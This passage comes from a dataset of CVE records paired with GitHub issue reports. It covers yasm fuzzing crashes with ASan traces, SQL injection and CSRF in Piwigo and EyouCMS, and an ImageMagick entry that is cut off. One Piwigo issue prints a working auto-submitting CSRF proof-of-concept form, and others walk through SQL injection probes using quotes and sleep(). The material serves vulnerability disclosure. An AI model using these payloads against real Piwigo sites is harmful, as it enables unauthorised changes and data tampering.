"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/DaisyPo/fuzzing-vulncollect/blob/main/yasm/SEGV/nasm-pp.c:4008%20in%20expand_mmac_params/README.md"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/yasm/yasm/issues/220"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:yasm_project:yasm:1.3.0.55.g101bc:*:*:*:*:*:*:*",
"matchCriteriaId": "4A03B4FD-736D-40B7-87B0-AC4EF2660C4B",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/yasm/yasm/issues/220 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"yasm",
"yasm"
] | # There exists SEGV in yasm/modules/preprocs/nasm/nasm-pp.c:4008 in expand_mmac_params
## asan info:
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3645333==ERROR: AddressSanitizer: SEGV on unknown address 0x60bcf518f500 (pc 0x562c742f3049 bp 0x7ffc6fb07330 sp 0x7ffc6fb07200 T0)
==3645333==The signal is caused by a READ memory access.
#0 0x562c742f3048 in expand_mmac_params modules/preprocs/nasm/nasm-pp.c:4008
#1 0x562c742ead70 in do_directive modules/preprocs/nasm/nasm-pp.c:2950
#2 0x562c742fa446 in pp_getline modules/preprocs/nasm/nasm-pp.c:5083
#3 0x562c742d7c61 in nasm_preproc_get_line modules/preprocs/nasm/nasm-preproc.c:198
#4 0x562c742cc4ed in nasm_parser_parse modules/parsers/nasm/nasm-parse.c:219
#5 0x562c742caf6c in nasm_do_parse modules/parsers/nasm/nasm-parser.c:66
#6 0x562c742cb109 in nasm_parser_do_parse modules/parsers/nasm/nasm-parser.c:83
#7 0x562c742634d4 in do_assemble frontends/yasm/yasm.c:521
#8 0x562c74264281 in main frontends/yasm/yasm.c:753
#9 0x7f44d85c0082 in __libc_start_main ../csu/libc-start.c:308
#10 0x562c74261b9d in _start (/root/target/yasm/build_asan/bin/yasm+0xa5b9d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV modules/preprocs/nasm/nasm-pp.c:4008 in expand_mmac_params
==3645333==ABORTING
```
## Command Input:
./yasm poc-file
[poc-file.zip](https://github.com/yasm/yasm/files/11252936/poc-file.zip)
poc-file is attached.
## Environment
OS: Ubuntu 20.04.1
yasm: 1.3.0.55.g101bc (git clone [[email protected]](mailto:[email protected]):yasm/yasm.git , and compile it)
compile yasm with asan:
./autogen.sh
make distclean
./configure --prefix=$PWD/build_asan
make CC=gcc CXX=g++ CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer -g"
make install
You can also reproduce it without ASAN , don't set CFLAGS and CXXFLAGS and directly use GDB.
## GDB results:

we use "p mac->params[n]"but can't access memory. SEGV happens. | There exists SEGV in yasm/modules/preprocs/nasm/nasm-pp.c:4008 in expand_mmac_params | https://api.github.com/repos/yasm/yasm/issues/220/comments | 1 | 2023-04-17T16:18:19Z | 2024-03-22T11:52:08Z | https://github.com/yasm/yasm/issues/220 | 1,671,545,980 | 220 |
CVE-2023-31724 | 2023-05-17T15:15:08.917 | yasm 1.3.0.55.g101bc was discovered to contain a segmentation violation via the function do_directive at /nasm/nasm-pp.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/DaisyPo/fuzzing-vulncollect/tree/main/yasm/SEGV/nasm-pp.c:3570%20in%20do_directive"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/yasm/yasm/issues/222"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:yasm_project:yasm:1.3.0.55.g101bc:*:*:*:*:*:*:*",
"matchCriteriaId": "4A03B4FD-736D-40B7-87B0-AC4EF2660C4B",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/yasm/yasm/issues/222 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"yasm",
"yasm"
] | # There exists SEGV in yasm/modules/preprocs/nasm/nasm-pp.c:3570 in do_directive
## asan info:
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1433063==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55736a1a1cff bp 0x7fff4d5cbf50 sp 0x7fff4d5cba60 T0)
==1433063==The signal is caused by a READ memory access.
==1433063==Hint: address points to the zero page.
#0 0x55736a1a1cfe in do_directive modules/preprocs/nasm/nasm-pp.c:3570
#1 0x55736a1ac446 in pp_getline modules/preprocs/nasm/nasm-pp.c:5083
#2 0x55736a189c61 in nasm_preproc_get_line modules/preprocs/nasm/nasm-preproc.c:198
#3 0x55736a17e4ed in nasm_parser_parse modules/parsers/nasm/nasm-parse.c:219
#4 0x55736a17cf6c in nasm_do_parse modules/parsers/nasm/nasm-parser.c:66
#5 0x55736a17d109 in nasm_parser_do_parse modules/parsers/nasm/nasm-parser.c:83
#6 0x55736a1154d4 in do_assemble frontends/yasm/yasm.c:521
#7 0x55736a116281 in main frontends/yasm/yasm.c:753
#8 0x7fbf8492d082 in __libc_start_main ../csu/libc-start.c:308
#9 0x55736a113b9d in _start (/root/target/latest/20230404/yasm/build_asan/bin/yasm+0xa5b9d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV modules/preprocs/nasm/nasm-pp.c:3570 in do_directive
==1433063==ABORTING
```
## Command Input:
./yasm poc-file
[poc-file.zip](https://github.com/yasm/yasm/files/11253195/poc-file.zip)
poc-file is attached.
## Environment
OS: Ubuntu 20.04.1
yasm: 1.3.0.55.g101bc (git clone [[email protected]](mailto:[email protected]):yasm/yasm.git , and compile it)
compile yasm with asan:
./autogen.sh
make distclean
./configure --prefix=$PWD/build_asan
make CC=gcc CXX=g++ CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer -g"
make install | There exists SEGV in yasm/modules/preprocs/nasm/nasm-pp.c:3570 in do_directive | https://api.github.com/repos/yasm/yasm/issues/222/comments | 1 | 2023-04-17T16:48:59Z | 2024-03-22T11:50:46Z | https://github.com/yasm/yasm/issues/222 | 1,671,589,854 | 222 |
CVE-2023-31725 | 2023-05-17T15:15:08.957 | yasm 1.3.0.55.g101bc was discovered to contain a heap-use-after-free via the function expand_mmac_params at yasm/modules/preprocs/nasm/nasm-pp.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/DaisyPo/fuzzing-vulncollect/tree/main/yasm/heap-use-after-free/nasm-pp.c:3878%20in%20expand_mmac_params"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/yasm/yasm/issues/221"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:yasm_project:yasm:1.3.0.55.g101bc:*:*:*:*:*:*:*",
"matchCriteriaId": "4A03B4FD-736D-40B7-87B0-AC4EF2660C4B",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/yasm/yasm/issues/221 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"yasm",
"yasm"
] | # There exists heap-use-after-free in yasm/modules/preprocs/nasm/nasm-pp.c:3878 in expand_mmac_params
## asan info:
```
==708699==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e0000012a8 at pc 0x55647c385147 bp 0x7ffe09f5d870 sp 0x7ffe09f5d860
READ of size 8 at 0x60e0000012a8 thread T0
#0 0x55647c385146 in expand_mmac_params modules/preprocs/nasm/nasm-pp.c:3878
#1 0x55647c38d436 in pp_getline modules/preprocs/nasm/nasm-pp.c:5078
#2 0x55647c36ac61 in nasm_preproc_get_line modules/preprocs/nasm/nasm-preproc.c:198
#3 0x55647c35f4ed in nasm_parser_parse modules/parsers/nasm/nasm-parse.c:219
#4 0x55647c35df6c in nasm_do_parse modules/parsers/nasm/nasm-parser.c:66
#5 0x55647c35e109 in nasm_parser_do_parse modules/parsers/nasm/nasm-parser.c:83
#6 0x55647c2f64d4 in do_assemble frontends/yasm/yasm.c:521
#7 0x55647c2f7281 in main frontends/yasm/yasm.c:753
#8 0x7fc63b1af082 in __libc_start_main ../csu/libc-start.c:308
#9 0x55647c2f4b9d in _start (/root/target/yasm/build_asan/bin/yasm+0xa5b9d)
0x60e0000012a8 is located 8 bytes inside of 160-byte region [0x60e0000012a0,0x60e000001340)
freed by thread T0 here:
#0 0x7fc63b48a40f in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:122
#1 0x55647c331974 in def_xfree libyasm/xmalloc.c:113
#2 0x55647c370a59 in free_mmacro modules/preprocs/nasm/nasm-pp.c:1163
#3 0x55647c38cc0a in pp_getline modules/preprocs/nasm/nasm-pp.c:5009
#4 0x55647c36ac61 in nasm_preproc_get_line modules/preprocs/nasm/nasm-preproc.c:198
#5 0x55647c35f4ed in nasm_parser_parse modules/parsers/nasm/nasm-parse.c:219
#6 0x55647c35df6c in nasm_do_parse modules/parsers/nasm/nasm-parser.c:66
#7 0x55647c35e109 in nasm_parser_do_parse modules/parsers/nasm/nasm-parser.c:83
#8 0x55647c2f64d4 in do_assemble frontends/yasm/yasm.c:521
#9 0x55647c2f7281 in main frontends/yasm/yasm.c:753
#10 0x7fc63b1af082 in __libc_start_main ../csu/libc-start.c:308
previously allocated by thread T0 here:
#0 0x7fc63b48a808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x55647c331857 in def_xmalloc libyasm/xmalloc.c:69
#2 0x55647c37ffc8 in do_directive modules/preprocs/nasm/nasm-pp.c:3211
#3 0x55647c38d446 in pp_getline modules/preprocs/nasm/nasm-pp.c:5083
#4 0x55647c36ac61 in nasm_preproc_get_line modules/preprocs/nasm/nasm-preproc.c:198
#5 0x55647c35f4ed in nasm_parser_parse modules/parsers/nasm/nasm-parse.c:219
#6 0x55647c35df6c in nasm_do_parse modules/parsers/nasm/nasm-parser.c:66
#7 0x55647c35e109 in nasm_parser_do_parse modules/parsers/nasm/nasm-parser.c:83
#8 0x55647c2f64d4 in do_assemble frontends/yasm/yasm.c:521
#9 0x55647c2f7281 in main frontends/yasm/yasm.c:753
#10 0x7fc63b1af082 in __libc_start_main ../csu/libc-start.c:308
SUMMARY: AddressSanitizer: heap-use-after-free modules/preprocs/nasm/nasm-pp.c:3878 in expand_mmac_params
Shadow bytes around the buggy address:
0x0c1c7fff8200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff8210: 00 00 00 00 fa fa fa fa fa fa fa fa 00 00 00 00
0x0c1c7fff8220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff8230: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c1c7fff8240: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
=>0x0c1c7fff8250: fa fa fa fa fd[fd]fd fd fd fd fd fd fd fd fd fd
0x0c1c7fff8260: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c1c7fff8270: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c1c7fff8280: fd fd fd fd fa fa fa fa fa fa fa fa fd fd fd fd
0x0c1c7fff8290: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c1c7fff82a0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==708699==ABORTING
```
## Command Input:
./yasm poc-file
[poc-file.zip](https://github.com/yasm/yasm/files/11253102/poc-file.zip)
poc-file is attached.
## Environment
OS: Ubuntu 20.04.1
yasm: 1.3.0.55.g101bc (git clone [[email protected]](mailto:[email protected]):yasm/yasm.git , and compile it)
compile yasm with asan:
./autogen.sh
make distclean
./configure --prefix=$PWD/build_asan
make CC=gcc CXX=g++ CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer -g"
make install | There exists heap-use-after-free in yasm/modules/preprocs/nasm/nasm-pp.c:3878 in expand_mmac_params | https://api.github.com/repos/yasm/yasm/issues/221/comments | 1 | 2023-04-17T16:39:42Z | 2024-03-22T11:51:42Z | https://github.com/yasm/yasm/issues/221 | 1,671,576,475 | 221 |
CVE-2023-27233 | 2023-05-17T20:15:09.933 | Piwigo before 13.6.0 was discovered to contain a SQL injection vulnerability via the order[0][dir] parameter at user_list_backend.php. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://gist.github.com/renanavs/dcb13bb1cd618ce7eb0c80290b837245"
},
{
"source": "[email protected]",
"tags": [
"Release Notes"
],
"url": "https://github.com/Piwigo/Piwigo/issues/1872"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*",
"matchCriteriaId": "86097A18-F13B-45AC-B24B-5A879C3A2DE2",
"versionEndExcluding": "13.6.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/Piwigo/Piwigo/issues/1872 | [
"Release Notes"
] | github.com | [
"Piwigo",
"Piwigo"
] | Without entering too much into details there is a possible SQL injection in file `admin/user_list_backend.php`. This file has no reason to be still in Piwigo since version 12 and the new user manager (which relies on `ws.php` as backend). This file must simply be removed. | [13.x] SQL injection on user_list_backend.php | https://api.github.com/repos/Piwigo/Piwigo/issues/1872/comments | 0 | 2023-02-24T08:42:01Z | 2023-02-24T08:42:44Z | https://github.com/Piwigo/Piwigo/issues/1872 | 1,598,184,264 | 1,872 |
CVE-2023-31708 | 2023-05-23T01:15:09.960 | A Cross-Site Request Forgery (CSRF) in EyouCMS v1.6.2 allows attackers to execute arbitrary commands via a supplying a crafted HTML file to the Upload software format function. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 1.4,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/weng-xianhu/eyoucms/issues/41"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:eyoucms:eyoucms:1.6.2:*:*:*:*:*:*:*",
"matchCriteriaId": "5B87F220-D05C-4885-8C0E-E5BD8D8DFB66",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/weng-xianhu/eyoucms/issues/41 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"weng-xianhu",
"eyoucms"
] | let's see the operation:
First,we should add the js and html in "Upload software format" .
Second,we clicked the submit,and use Burp suite to Intercept the packet.
<img width="1251" alt="屏幕截图 2023-04-16 170400" src="https://user-images.githubusercontent.com/60973265/232288495-074b92f6-7789-4a20-879d-ef7fd31a3a08.png">
Third,we use the csrf tools in burp suite profession to create CSRF poc
<img width="1255" alt="屏幕截图 2023-04-16 170911" src="https://user-images.githubusercontent.com/60973265/232288806-95284794-f2cc-4e49-90b3-056669a29773.png">
Put the poc into an html file and send it to the victim,when the administrator clicke the page ,this means we can upload the js/html file.
Fourth,When we use the administrator account to delete the administrator account, or delete the article, use burp suite to capture the package, make csrf poc


Fifth,We need a low permission account to publish the article, then put the two produced POCs into the html file, and then into the attachment

When the administrator opens this attachment, the article and possibly the administrator are deleted, and this is not restricted by browser security
This is the code in question

Solution: Add the token authentication | Three csrf vulnerabilities, you can modify Settings, you can delete articles, you can delete users | https://api.github.com/repos/weng-xianhu/eyoucms/issues/41/comments | 0 | 2023-04-16T10:54:52Z | 2024-03-22T06:50:30Z | https://github.com/weng-xianhu/eyoucms/issues/41 | 1,669,861,738 | 41 |
CVE-2023-33359 | 2023-05-23T14:15:09.813 | Piwigo 13.6.0 is vulnerable to Cross Site Request Forgery (CSRF) in the "add tags" function. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 1.4,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/Piwigo/Piwigo/issues/1908"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:piwigo:piwigo:13.6.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B279DE47-F1F5-4BB9-A47B-1C9B73DD9076",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/Piwigo/Piwigo/issues/1908 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"Piwigo",
"Piwigo"
] | This vulnerability lies in the 'add tags' function in the backend.

Try creating a new label here.

Use burpsuite to intercept this request.

You can see that CSRF-Token does not exist here,So we can generate a CSRF POC.

Execute this poc,note that there are no tags here at this time


After executing the POC, it was found that there were new tags added


//CSRF POC:
`<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/piwigo/ws.php?format=json&method=pwg.tags.add" method="POST">
<input type="hidden" name="name" value="test" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
`
Of course, only one CSRF vulnerability is not serious. Next, I will demonstrate the possibility of combining it with XSS vulnerabilities for exploitation
| There is a CSRF vulnerability in the "add tags" function of piwigo | https://api.github.com/repos/Piwigo/Piwigo/issues/1908/comments | 3 | 2023-05-01T04:58:37Z | 2023-05-05T08:07:10Z | https://github.com/Piwigo/Piwigo/issues/1908 | 1,690,372,075 | 1,908 |
CVE-2023-33361 | 2023-05-23T14:15:09.863 | Piwigo 13.6.0 is vulnerable to SQL Injection via /admin/permalinks.php. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/Piwigo/Piwigo/issues/1910"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:piwigo:piwigo:13.6.0:-:*:*:*:*:*:*",
"matchCriteriaId": "C0F29243-1953-4593-9D93-65BAF0D5D0EB",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/Piwigo/Piwigo/issues/1910 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"Piwigo",
"Piwigo"
] | Before replicating this vulnerability, you need to first create a new album and access the "photos_add" function, and choose to create a new album

//like this

Then,accessing permalinks functionality

click this

Select the album you just created and use 'burp' to intercept this request

You can see this' cat_id 'parameter, which is where SQL injection exists

We are trying to add a single quotation mark to trigger an error in MySQL

We can also directly try using the sleep () function to trigger a delay

It is not difficult to find that there is an SQL injection here. Next, we will analyze this problem from the code level.
The vulnerability arises from '/admin/permalinks.php'
//Start Here

In our data package, we passed in the "set_permalink" and “cat_ Id"parameter, and "cat_id"is greater than 0, so we can enter this if branch

Then, because we passed in the 'permalink' parameter, we actually entered the internal else branch

Then we try to analyze the set_cat_permalink() function.(In /admin/include/functions_permalinks.php)

In the end, we can find this SQL statement, where '$cat_id' is passed directly into the SQL statement without any filtering.It is precisely this location that caused SQL injection

This vulnerability exists in version 13.6.0, and it is uncertain whether this issue exists in earlier versions
| There is a SQL Injection in the "permalinks" function of piwigo | https://api.github.com/repos/Piwigo/Piwigo/issues/1910/comments | 0 | 2023-05-03T06:02:27Z | 2023-05-05T08:24:43Z | https://github.com/Piwigo/Piwigo/issues/1910 | 1,693,458,747 | 1,910 |
CVE-2023-33362 | 2023-05-23T14:15:09.917 | Piwigo 13.6.0 is vulnerable to SQL Injection via in the "profile" function. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/Piwigo/Piwigo/issues/1911"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:piwigo:piwigo:13.6.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B279DE47-F1F5-4BB9-A47B-1C9B73DD9076",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/Piwigo/Piwigo/issues/1911 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"Piwigo",
"Piwigo"
] | Accessing the 'profile' page

Add the 'user_id' parameter with single quotes

Discovering an error in MySQL can actually prove the existence of SQL injection, but we can still try using the sleep() function for testing


//Try to analyze how this vulnerability was generated from a code level perspective.

First find '/admin/profile.php'

Track build_user() function (in the /Piwigo/include/functions_user.inc.php)

The '$user_id' enters the getuserdata() function, so continue tracking getuserdata()

Finally, the '$user_id' variable will enter this string of SQL statements, which clearly does not filter the incoming parameter values, resulting in SQL injection

This vulnerability affects the latest version up to 13.6.0, and it is uncertain whether other versions will be affected. | There is a SQL Injection in the "profile" function of piwigo | https://api.github.com/repos/Piwigo/Piwigo/issues/1911/comments | 0 | 2023-05-04T12:22:34Z | 2023-05-05T08:25:03Z | https://github.com/Piwigo/Piwigo/issues/1911 | 1,695,904,246 | 1,911 |
CVE-2023-34151 | 2023-05-30T22:15:11.000 | A vulnerability was found in ImageMagick. This security flaw ouccers as an undefined behaviors of casting double to size_t in svg, mvg and other coders (recurring bugs of CVE-2022-32546). | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-34151"
},
{
"source": "[email protected]",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2210657"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/ImageMagick/ImageMagick/issues/6341"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://lists.debian.org/debian-lts-announce/2024/02/msg00007.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4UFQJCYJ23HWHNDOVKBHZQ7HCXXL6MM3/"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/V2ZUHZXQ2C3JZYKPW4XHCMVVL467MA2V/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*",
"matchCriteriaId": "81FC97E7-D26F-47A4-A0D3-0E957026718D",
"versionEndExcluding": "7.1.1.11",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:fedoraproject:extra_packages_for_enterprise_linux:8.0:*:*:*:*:*:*:*",
"matchCriteriaId": "BB176AC3-3CDA-4DDA-9089-C67B2F73AA62",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*",
"matchCriteriaId": "E30D0E6F-4AE8-4284-8716-991DFA48CC5D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
